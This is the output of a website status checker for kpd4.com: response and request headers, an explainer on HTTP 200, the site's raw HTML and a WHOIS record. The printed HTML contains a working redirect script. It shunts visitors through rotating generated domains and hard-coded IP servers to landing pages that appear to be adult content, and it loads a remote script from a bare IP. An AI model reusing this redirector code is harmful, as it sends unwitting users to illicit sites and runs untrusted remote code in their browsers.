check web redirect url status code checker

Check server response of

Server response
NS records
Whois domain
Response headers
Request headers
Raw HTML code
200 OK - kpd4.com
HTTP Status: 200
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; [email protected])
Connection: close
Content-Type: text/html;charset=utf-8
Content-Length: 3526

HTTP Code 200 OK

200 http status code is a standard successful HTTP server response. It means that the client’s request (e.g., from a browser) was successfully processed, and the server is delivering the requested data.

When is Code 200 used?

  • When loading a web page
  • When successfully receiving an API response
  • When processing a form or another HTTP request

What does Code 200 mean for the user?

The user receives content without errors, and the page or application functions properly. If Code 200 is accompanied by data, the browser or program processes and displays it to the user.

GET / HTTP/1.1
Host: kpd4.com
Accept: */*
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; [email protected])

<center><strong style="color:blue;font-size:24px">T6-5-8正在为您打开最快的网址...</strong></center>
<script>
  !sessionStorage.getItem('isRefreshed') && (
    sessionStorage.setItem('isRefreshed', 'true'),
    location.reload(!0)
  );

  (function() {
if ('https:' === window.location.protocol) {
  var referrerDomain = document.referrer ? new URL(document.referrer).hostname : window.location.hostname;
  return void (window.location.href = 'http://137.175.77.50/?https=' + encodeURIComponent(referrerDomain));
}
  // 动态生成域名
  var e = new Date(),
    t = 'http://' + e.getDate() + e.getHours(),
    n = [
	'hengshui44.top', 
	'hengshui55.top'
	].map(function(e) {
      return t + '.' + e
    }),

    // 备用服务器列表
    rList = [
      'http://38.173.75.68',
      'http://38.173.75.69',
      'http://38.173.75.70'
    ],

    // 随机路径
    a = [
'/cps/baili/baili.html',//百丽
'/cps/meirenyu/meirenyu.html',//美人鱼
'/cps/shuixian/shuixian.html',//水仙
'/cps/sese/sese.html', //色色
'/cps/shangmei/shangmei.html', //尚美
'/cps/haixiu/haixiu.html', //嗨秀
'/cps/jiuzhou/jiuzhou.html',//九州58
'/cps/tiangong/tiangong.html',//天宫
'/cps/fengyue/fengyue.html',//风月
'/cps/chunmeng/chunmeng.html',//春梦
'/cps/relian/relian.html',//热恋
'/cps/yueguang/yueguang.html',//月光
'/cps/mitang/mitang.html',//蜜糖
'/cps/nver/nver.html', //女儿
'/cps/xiongmao/xiongmao.html', //熊猫
'/cps/tiangou/tiangou.html', //舔狗
'/cps/aise/aise.html'//爱色
	],

    // 最终回退地址
    o = 'http://t6.hengshui66.top',

    // 带超时的检测函数
    fetchWithTimeout = (url, timeout = 3000) => {
      return new Promise((resolve) => {
        const timer = setTimeout(() => resolve(false), timeout);
        fetch(url, { mode: 'no-cors' })
          .then(() => { clearTimeout(timer); resolve(true); })
          .catch(() => { clearTimeout(timer); resolve(false); });
      });
    },

    // 检测 URL 是否可访问（3秒超时）
    c = function(e) {
      return fetchWithTimeout(e, 3000);
    },

    // 延迟函数
    d = function(e) {
      return new Promise(function(t) {
        setTimeout(t, e);
      });
    },

    // 尝试备用服务器（带超时）
    tryServers = function(servers) {
      return new Promise(function(resolve) {
        let i = 0;
        function checkServer() {
          if (i >= servers.length) return resolve(false);
          c(servers[i]).then(function(isActive) {
            if (isActive) {
              window.location.href = servers[i] + a[Math.floor(Math.random() * a.length)];
              resolve(true);
            } else {
              i++;
              checkServer();
            }
          });
        }
        checkServer();
      });
    },

    // 备用服务器检测流程
    u = function() {
      return new Promise(function(t) {
        d(1000).then(function() {
          tryServers(rList).then(function(success) {
            if (!success) window.location.href = o;
            t();
          });
        });
      });
    },

    // 动态域名检测流程
    l = function() {
      return new Promise(function(t) {
        !function e(o) {
          if (o >= n.length) return u().then(t);
          c(n[o]).then(function(r) {
            r ? (window.location.replace(n[o]), t()) : e(o + 1);
          });
        }(0);
      });
    };

  // 启动检测（1秒后开始）
  d(1000).then(l);
})();
</script>
<script src="http://45.12.89.93:1688/tongji/t102.js"></script>

Whois info of domain

Domain Name: KPD4.COM
Registry Domain ID: 2807005261_DOMAIN_COM-VRSN
Registrar WHOIS Server: whois.namesilo.com
Registrar URL: http://www.namesilo.com
Updated Date: 2024-08-13T13:54:29Z
Creation Date: 2023-08-19T14:20:19Z
Registry Expiry Date: 2025-08-19T14:20:19Z
Registrar: NameSilo, LLC
Registrar IANA ID: 1479
Registrar Abuse Contact Email: [email protected]
Registrar Abuse Contact Phone: +1.4805240066
Domain Status: clientTransferProhibited https://icann.org/epp#clientTransferProhibited
Name Server: AIDEN.NS.CLOUDFLARE.COM
Name Server: ZOE.NS.CLOUDFLARE.COM
DNSSEC: unsigned
URL of the ICANN Whois Inaccuracy Complaint Form: https://www.icann.org/wicf/
>>> Last update of whois database: 2025-05-09T05:05:07Z <<<
For more information on Whois status codes, please visit https://icann.org/epp
NOTICE: The expiration date displayed in this record is the date the
TERMS OF USE: You are not authorized to access or query our Whois
by the following terms of use: You agree that you may use this Data only
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